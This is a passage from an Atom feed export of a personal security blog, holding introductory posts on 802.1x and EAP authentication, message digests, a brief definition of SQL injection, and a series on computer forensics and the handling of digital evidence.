src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kgG57QalCyI/TDOp4s5gtrI/AAAAAAAAAMY/yPjxNIXKsrQ/s72-c/Cc917480.eap_overview_fig1(en-us,TechNet.10).gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-4565010193241608846</id><published>2010-07-06T14:34:00.000-07:00</published><updated>2010-07-06T15:48:14.416-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wireless (802.11)'/><title type='text'>802.1x</title><content type='html'>&lt;div style="text-align: justify;"&gt;I was trying to dig deeper into the Wireless Security Standards - WEP &amp;amp; WPA, when I read about 802.1x and I was blown by its widespread use and the research work put behind the framing of the standard.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;WEP had many security flaws such as static preshared keys, which could be easily cracked. So Cisco came out with its interim solution for Wi-Fi security in its devices which used dynamic key exchange, a new encrption key for each packet and authentication using IEEE 802.1x. &lt;a href="http://swizardb.blogspot.com/2010/07/extensible-authentication-protocol-eap.html" title="Extensible Authentication Protocol (EAP)"&gt;&lt;span class="Apple-style-span"  style="text-decoration:none; color:#000000;"&gt;Extensible Authentication Protocol (EAP)&lt;/span&gt;&lt;/a&gt; authentication is now used in WPA and WPA2 for 802.11.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;IEEE 802.1x standard is simply a standard for passing EAP over a wired or wireless LAN.&lt;/b&gt; With 802.1x, you package EAP messages in Ethernet frames and don't use PPP. It's authentication and nothing more. That's desirable in situations in which the rest of PPP isn't needed, where you're using protocols other than TCP/IP, or where the overhead and complexity of using PPP is undesirable.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The three devices involved in the 802.1x authentication are the client, an authentication server and Wireless Access Point (WAP). The user or client that wants to be authenticated is called a supplicant. The actual server doing the authentication, typically a RADIUS server, is called the authentication server. And the device in between, such as a wireless access point, is called the authenticator. One of the key points of 802.1x is that the authenticator can be simple and dumb - all of the brains have to be in the supplicant and the authentication server. This makes 802.1x ideal for wireless access points, which are typically small and have little memory and processing power.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kgG57QalCyI/TDOlB7xnOSI/AAAAAAAAAMQ/hvuSD57eMMI/s1600/802.1X_wired_protocols.png"&gt;&lt;img style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 320px; height: 205px; " src="http://4.bp.blogspot.com/_kgG57QalCyI/TDOlB7xnOSI/AAAAAAAAAMQ/hvuSD57eMMI/s320/802.1X_wired_protocols.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5490913823339002146" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-4565010193241608846?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/4565010193241608846/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2010/07/8021x.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4565010193241608846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4565010193241608846'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2010/07/8021x.html' title='802.1x'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kgG57QalCyI/TDOlB7xnOSI/AAAAAAAAAMQ/hvuSD57eMMI/s72-c/802.1X_wired_protocols.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-3242457097732813132</id><published>2010-04-27T01:27:00.000-07:00</published><updated>2010-04-27T01:54:57.899-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cryptography'/><title type='text'>Message Digests (HASH)</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Message digests&lt;/span&gt; or &lt;span style="font-weight: bold;"&gt;hashes&lt;/span&gt; are commonly 128 bits to 160 bits in length and provide a digital identifier for each digital file or document.  Message digest functions also called &lt;i&gt;hash functions&lt;/i&gt;, are used to  produce digital summaries of information called message digests. Message digest functions are mathematical functions that process information to &lt;span style="font-weight: bold;"&gt;"produce a different message digest for each unique document"&lt;/span&gt;. Identical documents have the same message digest; but if even one of the bits for the document changes, the message digest changes.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc962033.DSCH03%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt; &lt;span style="font-size:85%;"&gt;&lt;b&gt;Figure. Example of the Message Digest Process&lt;/b&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Because message digests are much shorter than the data from which the digests are generated and the digests have a finite length, duplicate message digests called &lt;i&gt;collisions&lt;/i&gt; can exist for different data sets. However, good message digest functions use one-way functions to ensure that it is mathematically and computationally infeasible to reverse the message digest process and discover the original data.&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Message digests are commonly used in conjunction with public key  technology to create digital signatures or "digital thumbprints" that  are used for authentication, integrity, and nonrepudiation. Message  digests also are commonly used with digital signing technology to  provide data integrity for electronic files and documents.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-3242457097732813132?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/3242457097732813132/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2010/04/message-digests.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3242457097732813132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3242457097732813132'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2010/04/message-digests.html' title='Message Digests (HASH)'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-1811567694202615235</id><published>2009-11-21T12:57:00.000-08:00</published><updated>2009-11-22T00:21:46.873-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><title type='text'>SQL Injection</title><content type='html'>&lt;b&gt;SQL Injection&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered or user input is not strongly typed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SQL Injection like this&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kgG57QalCyI/Swj0dDELblI/AAAAAAAAAH4/erQ6QGm0ERc/s1600/injection.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 237px; height: 227px;" src="http://2.bp.blogspot.com/_kgG57QalCyI/Swj0dDELblI/AAAAAAAAAH4/erQ6QGm0ERc/s200/injection.png" alt="" id="BLOGGER_PHOTO_ID_5406840132534496850" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-1811567694202615235?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/1811567694202615235/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/11/sql-injection.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1811567694202615235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1811567694202615235'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/11/sql-injection.html' title='SQL Injection'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_kgG57QalCyI/Swj0dDELblI/AAAAAAAAAH4/erQ6QGm0ERc/s72-c/injection.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-3779514414836247664</id><published>2009-08-31T21:03:00.000-07:00</published><updated>2010-04-27T01:26:13.561-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Computer Forensics'/><title type='text'>Presentation of Digital Evidence</title><content type='html'>Documenting the Investigation.&lt;br /&gt;&lt;br /&gt;Documenting is not a final step, but is essentially done throughout the investigation at all stages of investigation and processing digital evidence. Documentation showing evidence in its original state is regularly used to demonstrate that it is authentic and unaltered.&lt;br /&gt;&lt;br /&gt;Documentation includes.&lt;ul&gt;&lt;li&gt;Software used and Version Numbers.&lt;/li&gt;&lt;li&gt;Collection tools.&lt;/li&gt;&lt;li&gt;Methods used.&lt;/li&gt;&lt;li&gt;Explanation of why this analysis.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Court Presentation.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The Discovery process&lt;/li&gt;&lt;li&gt;Checklists, notes, comments, email, etc.&lt;/li&gt;&lt;li&gt;Chain of Custody&lt;/li&gt;&lt;li&gt;Business Attire.&lt;/li&gt;&lt;li&gt;Ask for questions to be repeated.&lt;/li&gt;&lt;li&gt;Give your attorney a chance to object.&lt;/li&gt;&lt;li&gt;Review your notes before court&lt;/li&gt;&lt;li&gt;Always use your notes to answer questions.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-3779514414836247664?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/3779514414836247664/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/presentation-of-digital-evidence.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3779514414836247664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3779514414836247664'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/presentation-of-digital-evidence.html' title='Presentation of Digital Evidence'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6292854541745049171</id><published>2009-08-31T21:02:00.001-07:00</published><updated>2010-04-27T01:51:16.700-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Computer Forensics'/><title type='text'>Analysis of Digital Evidence</title><content type='html'>Examination&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Start a script with time, name and date.&lt;/li&gt;&lt;li&gt;Examine the partition and directories on the hard drive.&lt;/li&gt;&lt;li&gt;Use the Hex editor to view suspect areas.&lt;/li&gt;&lt;li&gt;Search for terms related to case.&lt;/li&gt;&lt;li&gt;Retrieve deleted files.&lt;/li&gt;&lt;li&gt;Check unallocated and slack space.&lt;/li&gt;&lt;li&gt;If evidence is found specify the cylinder, head and sector.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Authenticate your recovered evidence.&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Create an &lt;a style="color: rgb(0, 0, 0); text-decoration: none; title="Message Digests" href="http://swizardb.blogspot.com/2010/04/message-digests.html"&gt;Electronic Hash&lt;/a&gt; of all electronic evidence.&lt;/li&gt;&lt;li&gt;MD5SUM, SHA or Tripwire.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt; Analyze the data without modifying it.&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Make two backups of the original data.&lt;/li&gt;&lt;li&gt;Perform a bit by bit (bit stream) backup.&lt;/li&gt;&lt;li&gt;Create a hash of each backup prior to analysis.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6292854541745049171?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6292854541745049171/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/evaluation-of-digital-evidence.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6292854541745049171'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6292854541745049171'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/evaluation-of-digital-evidence.html' title='Analysis of Digital Evidence'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-1052746800361300427</id><published>2009-08-31T21:01:00.000-07:00</published><updated>2010-04-27T01:21:03.762-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Computer Forensics'/><title type='text'>Identification of Digital Evidence</title><content type='html'>&lt;div style="text-align: justify;"&gt;Identification of digital evidence requires digital investigators to recognizze the hardware (computers, floppy frives, hard disks, network cable, etc) that contain the digital information and then search for relevant information and the digital data that can establish that a crime has been committed or can provide a link between a crime and its prepetrator.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Some Forensic toolkits to work with&lt;br /&gt;&lt;br /&gt;Access Data's  Forensic Toolkit&lt;br /&gt;The Coroner's Toolkit (TCT)&lt;br /&gt;ForensiX&lt;br /&gt;New Technologies Inc (NTI)&lt;br /&gt;Guidance Software's EnCase application.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-1052746800361300427?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/1052746800361300427/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/identification-of-digital-evidence.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1052746800361300427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1052746800361300427'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/identification-of-digital-evidence.html' title='Identification of Digital Evidence'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-806557134471818630</id><published>2009-08-31T20:46:00.000-07:00</published><updated>2009-09-01T11:08:42.717-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Computer Forensics'/><title type='text'>Preservation of Digital Evidence</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;The forensic engineer should take steps to ensure the safety of all persons at the scene and to protect the integrity of all evidence, both traditional and electronic.&lt;/span&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Follow jurisdictional policy for securing the crime scene.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Ensure that all persons are removed from the immediate area from which evidence is to be collected.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Don’t shutdown&lt;/span&gt; before collecting evidence.&lt;br /&gt;-There is the possibility of loss of volatile evidence and the attacker may have trojaned the startup and shutdown scripts, Plug and Play may alter the system configuration and temporary file systems may be wiped out.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Don’t run any programs&lt;/span&gt; on the affected system.&lt;br /&gt;-There is the possibility of inadvertently triggering something that could change or destroy evidence.&lt;br /&gt;- Any programs used should be on read-only media and should be statically linked.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Protect perishable(volatile) data&lt;/span&gt; physically and electronically.&lt;br /&gt;- Network Information : Communication between system and the network&lt;br /&gt;- Active Processes : Programs and daemons currently active on the system&lt;br /&gt;- Logged-on Users : Users/employees currently using system&lt;br /&gt;- Open Files : Libraries in use; hidden files; Trojans (rootkit) loaded in system&lt;br /&gt;- Hardware : pagers, caller ID boxes, electronic organizers, cell phones&lt;br /&gt;- All related evidence should be taken out of RAM&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Forensic Engineer must &lt;span style="font-weight: bold;"&gt;handle the Evidence with delicate care and accuracy&lt;/span&gt;.&lt;br /&gt;– Maintain a Chain of custody: Evidence form and locker.&lt;br /&gt;– Who, How and Why was it collected..&lt;br /&gt;– Who took possession of it?&lt;br /&gt;– How was it stored and protected.&lt;br /&gt;– Who and why was it taken out of storage?&lt;br /&gt;– ISP normally maintain logs for about 30 days.&lt;br /&gt;– Assign an evidence custodian.&lt;br /&gt;– Identify and label everything.&lt;br /&gt;– Case number, description, signature, date and time.&lt;br /&gt;- Document the time and date of the CMOS&lt;br /&gt;– Photograph/video tape the crime scene.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;A copy of the digital evidence from the hard drive(s) should be made. DISK IMAGING.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;No possible evidence is damaged, destroyed, or otherwise compromised by the procedures used to search the computer&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Prevent viruses from being introduced to a computer during the analysis process&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Extracted / relevant evidence is properly handled and protected from later mechanical or electromagnetic damage&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-806557134471818630?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/806557134471818630/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/preservation-of-digital-evidence.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/806557134471818630'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/806557134471818630'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/preservation-of-digital-evidence.html' title='Preservation of Digital Evidence'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6072639349835704326</id><published>2009-08-31T20:37:00.000-07:00</published><updated>2009-09-02T00:49:40.273-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Computer Forensics'/><title type='text'>Aquitision of Digital Evidence</title><content type='html'>– Acquiring the data  :   Acquire the evidence without altering or damaging the original.&lt;br /&gt;&lt;br /&gt;• Opt 1- Perform the analysis on a live system?&lt;br /&gt;&lt;ul&gt;&lt;li&gt;» Utilities have most likely been modified by intruder.&lt;/li&gt;&lt;li&gt;» Least defensible in court.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;• Opt 2 - Examine a forensic copy of the original data.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;» Most defensible in court&lt;/li&gt;&lt;/ul&gt;• Opt 3 - Pull the plug.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;» Damage is in progress.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6072639349835704326?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6072639349835704326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/aquitision-of-digital-evidence.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6072639349835704326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6072639349835704326'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/aquitision-of-digital-evidence.html' title='Aquitision of Digital Evidence'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-3597259186799328444</id><published>2009-08-31T13:36:00.000-07:00</published><updated>2010-04-27T01:03:34.092-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Computer Forensics'/><title type='text'>Digital Evidence</title><content type='html'>&lt;span style="font-weight: bold;"&gt;What is a Digital Evidence?&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Any information being subject to human intervention or not, that can be extracted from a computer.&lt;/li&gt;&lt;li&gt;Must be in human-readable format or capable of being interpreted by a person with expertise in the subject.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;hr /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Locard's Exchange Principle&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div style="text-align: justify;"&gt;Locard's Exchange Principle states "Anyone or Anything entering a crime scene TAKES '&lt;span style="font-weight: bold;"&gt;something&lt;/span&gt;' of the scene with them or LEAVES '&lt;span style="font-weight: bold;"&gt;something&lt;/span&gt;' of themselves behind when they depart."&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;This '&lt;span style="font-weight: bold;"&gt;something&lt;/span&gt;' is known as &lt;span style="font-weight: bold;"&gt;Digital Evidence&lt;/span&gt; in cases of cyber crime and fraud.&lt;br /&gt;&lt;/div&gt;If an investigator finds :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;ONE of the above, then he can suspect somebody&lt;/li&gt;&lt;li&gt;BOTH of the above, then he can be sure&lt;/li&gt;&lt;/ul&gt;&lt;hr /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The use of digital evidence has increased in the past few decades as courts have allowed the use of e-mails, digital photographs, ATM transaction logs, word processing documents, instant message histories, files saved from accounting programs, spreadsheets, internet browser histories, databases, the contents of computer memory, computer backups, computer printouts, Global Positioning System tracks, logs from a hotel’s electronic door locks, and digital video or audio files.&lt;/div&gt;&lt;br /&gt;Digital Evidence comes in numerous form factors, such as:&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kgG57QalCyI/S9aZpfR8pDI/AAAAAAAAAKY/mDLCG7hwiOU/s1600/digital_evd_clip_image002.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: left; cursor: pointer; width: 320px; height: 191px;" src="http://2.bp.blogspot.com/_kgG57QalCyI/S9aZpfR8pDI/AAAAAAAAAKY/mDLCG7hwiOU/s320/digital_evd_clip_image002.jpg" alt="Digital Evidence Forms" id="BLOGGER_PHOTO_ID_5464724135911138354" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" title="Digital Evidence" href="http://infohost.nmt.edu/%7Esfs/Students/HarleyKozushko/Presentations/DigitalEvidence.pdf"&gt;Download 108pages/2.96MB PDF presentation on Digital Evidence&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-3597259186799328444?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/3597259186799328444/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/digital-evidence.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3597259186799328444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3597259186799328444'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/digital-evidence.html' title='Digital Evidence'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_kgG57QalCyI/S9aZpfR8pDI/AAAAAAAAAKY/mDLCG7hwiOU/s72-c/digital_evd_clip_image002.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-31011708548654231</id><published>2009-08-30T20:56:00.000-07:00</published><updated>2009-09-03T12:47:16.281-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Computer Forensics'/><title type='text'>Computer Forensics</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.trcglobal.com/images/magnifying_glass.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 119px; height: 110px;" src="http://www.trcglobal.com/images/magnifying_glass.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Computer Forensics is the use of certain tools and procedures to carry out investigation, analysis and study of computer devices for the gathering and preserving of evidence of a computer crime or fraud.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In Layman's terms : Computer Forensics is the art of looking at the information on a computer or digital device to determine what a person was doing in the electronic world.&lt;br /&gt;&lt;br 